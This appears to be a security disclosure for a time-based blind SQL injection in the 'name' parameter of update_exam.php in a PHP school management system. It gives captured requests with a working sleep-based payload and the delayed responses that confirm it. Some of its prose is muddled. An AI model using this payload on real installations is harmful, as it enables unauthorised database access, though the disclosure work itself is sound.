

SQL injection vulnerability exists in name parameter of /model/update_exam.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 0s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays the following details:

- Method: GET
- URL: /std1/model/update_exam.php?do=update_exam&id=4&name=0'XOR(if(now())=sysdate())%2Csleep(0)%2C0')XOR'Z
- Accept: */*
- X-Requested-With: XMLHttpRequest
- Referer: http://192.168.31.163/std1
- Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
- Accept-Encoding: gzip, deflate, br
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
- Host: 192.168.31.163
- Connection: Keep-alive

The 'Response' tab shows the following details:

- Status: 200 OK
- Server: nginx/1.15.11
- Date: Thu, 18 Apr 2024 15:49:00 GMT
- Content-Type: text/html; charset=UTF-8
- Connection: keep-alive
- X-Powered-By: PHP/7.3.4
- Content-Length: 9
- Body: ["", "", 2]

The status bar at the bottom indicates 'Done' and '196 bytes | 3 millis'.

Sleep time is 4s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays the following details:

- Method: GET
- URL: /std1/model/update_exam.php?do=update_exam&id=4&name=0'XOR(if(now())=sysdate())%2Csleep(2)%2C0')XOR'Z
- Accept: */*
- X-Requested-With: XMLHttpRequest
- Referer: http://192.168.31.163/std1
- Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
- Accept-Encoding: gzip, deflate, br
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
- Host: 192.168.31.163
- Connection: Keep-alive

The 'Response' tab shows the following details:

- Status: 200 OK
- Server: nginx/1.15.11
- Date: Thu, 18 Apr 2024 15:49:19 GMT
- Content-Type: text/html; charset=UTF-8
- Connection: keep-alive
- X-Powered-By: PHP/7.3.4
- Content-Length: 9
- Body: ["", "", 2]

The status bar at the bottom indicates 'Done' and '196 bytes | 4,004 millis'.

Payload: name=0'XOR(if(now())=sysdate())%2Csleep(2)%2C0')XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>